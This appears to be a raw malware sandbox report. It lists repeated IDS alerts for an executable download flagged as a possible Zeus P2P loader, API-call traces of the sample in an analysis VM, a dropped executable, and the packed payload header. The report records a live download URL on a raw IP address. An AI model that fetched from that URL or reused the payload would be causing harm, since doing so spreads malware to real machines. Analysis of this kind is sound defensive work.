TCP 112.213.101.150:8000 -> 192.168.56.101:49189 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49238 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49238 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49238 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49238 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49238 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49238 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49238 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49515 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49515 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49515 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49515 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49515 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49515 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49515 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49638 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49638 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49638 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49638 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49638 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49638 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49638 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49513 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49513 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49513 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49657 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49513 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49513 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49657 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49513 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49657 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49513 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49657 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49657 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49657 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49657 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49659 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49659 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49659 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49659 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49659 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49659 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49659 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49294 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49294 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49294 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49333 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49294 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49333 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49294 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49333 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49294 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49333 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49294 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49333 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49333 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49333 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49648 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49648 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49648 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49648 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49648 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49648 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49648 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49571 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49571 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49571 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49571 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49571 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49571 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49571 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49731 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49731 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49731 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49731 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49731 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49731 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49731 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49591 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49591 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49591 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49591 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49591 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49591 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49591 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49497 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49497 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49497 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49497 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49497 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49497 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49497 2014520 ET INFO EXE - Served Attached HTTP Misc activity

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
suspicious_features Connection to IP address suspicious_request GET http://112.213.101.150:8000/1
request GET http://112.213.101.150:8000/1
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2568
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73bfd000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2568
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x76161000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2568
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x75e61000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2568
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x75d41000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2568
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73660000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2568
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73571000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2568
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x734e1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2568
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x734a4000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2568
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73572000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2568
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73c11000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2568
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73341000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2568
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73331000
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321056256
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321367552
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321285632
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321277440
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321293824
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321302016
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321367552
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321310208
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13320802304
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321293824
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13320794112
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321211904
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321359360
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13320847360
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321367552
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321375744
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321375744
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321375744
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321375744
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321375744
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321277440
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321351168
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321302016
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321351168
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13320822784
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321326592
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321359360
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13320826880
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321302016
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321359360
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321244672
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13320728576
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321228288
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321252864
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321216000
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321240576
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321203712
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321228288
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321191424
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321216000
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321179136
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321203712
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13321175040
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 13320695808
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 8697892864
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 8697950208
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 8697851904
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 8698015744
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 8698007552
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 0
free_bytes_available: 8698007552
root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
total_number_of_bytes: 0
1 1 0
file C:\Users\test22\AppData\Roaming\XDxO0iFvly.exe
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTDTA402\1[1]
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\BYECVYBT\1[1]
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VKMIWH9C\1[1]
Time & API Arguments Status Return Repeated

Process32NextW

 snapshot_handle: 0x00000104
process_name: mobsync.exe
process_identifier: 2276
1 1 0

Process32NextW

 snapshot_handle: 0x00000104
process_name: taskhost.exe
process_identifier: 2408
1 1 0

Process32NextW

 snapshot_handle: 0x00000104
process_name: rundll32.exe
process_identifier: 2568
1 1 0
Time & API Arguments Status Return Repeated

recv

 buffer: HTTP/1.1 200 OK content-length: 542352 content-disposition: attachment; filename="1" last-modified: Mon, 16 Oct 2023 03:44:22 GMT accept-ranges: bytes content-type: application/octet-stream etag: "0:84690:652cb196:f6e14b4" date: Wed, 22 Nov 2023 04:27:42 GMT MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $aõ%s¦%s¦%s¦s`¦s¦¦}¦s¦q=C¦?s¦Ú>y¦(s¦%r¦xs¦G`¦<s¦8y¦÷s¦8x¦s¦%s¦¤s¦âu¦$s¦Rich%s¦PEL¸õTà à@P 0>` @@€k~$uÄ@$5(UPX0P €àUPX1à` à@à.rsrc@@:ä@À
received: 1024
socket: 828
1 1024 0

recv

 buffer: HTTP/1.1 200 OK content-length: 542352 content-disposition: attachment; filename="1" content-type: application/octet-stream accept-ranges: bytes etag: "0:84690:652cb196:f6e14b4" last-modified: Mon, 16 Oct 2023 03:44:22 GMT date: Wed, 22 Nov 2023 04:27:44 GMT MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $aõ%s¦%s¦%s¦s`¦s¦¦}¦s¦q=C¦?s¦Ú>y¦(s¦%r¦xs¦G`¦<s¦8y¦÷s¦8x¦s¦%s¦¤s¦âu¦$s¦Rich%s¦PEL¸õTà à@P 0>` @@€k~$uÄ@$5(UPX0P €àUPX1à` à@à.rsrc@@:ä@À
